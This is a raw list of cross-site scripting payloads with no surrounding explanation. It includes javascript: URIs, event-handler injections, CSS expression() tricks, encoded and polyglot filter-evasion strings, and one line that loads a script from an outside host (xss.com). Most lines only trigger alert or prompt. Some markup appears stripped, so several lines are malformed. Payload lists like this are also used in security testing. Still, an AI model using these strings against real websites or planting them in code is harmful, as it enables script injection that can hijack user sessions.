div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029"Joker/div
iframe src="javascript:alert(1)"/iframe
iframe src="javascript:%61%6c%65%72%74%28%31%29"/iframe
img src="1" onerror="alert(1)" /
img src="1" onerror="alert(1)" /
iframe src="javascript:alert(1)"/iframe
document.write('a hr\ef=j\avas\cript\:a\lert(2)blah/a');
stylebody{background-color:expression\(alert(1))}/style
javascript://--/title/style/textareasvg "//' onclick=alert()//
//title/'//style//script/--p" onclick=alert()//*/alert()/*
"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--/
'%22()%26%25ScRiPt%20alert(1)
' onmouseover=alert(9205) bad='
"svg/onload=prompt(1)
"onresize=prompt(1)
svg/onload=prompt(1)
svgprompt(1)b
svgprompt(1)
'%22--/styleshadowlabs(0x000045)
scr\0ipt/src=http://xss.com/xss.js/script
%253Cscript%253Ealert()%253C%252Fscript%253E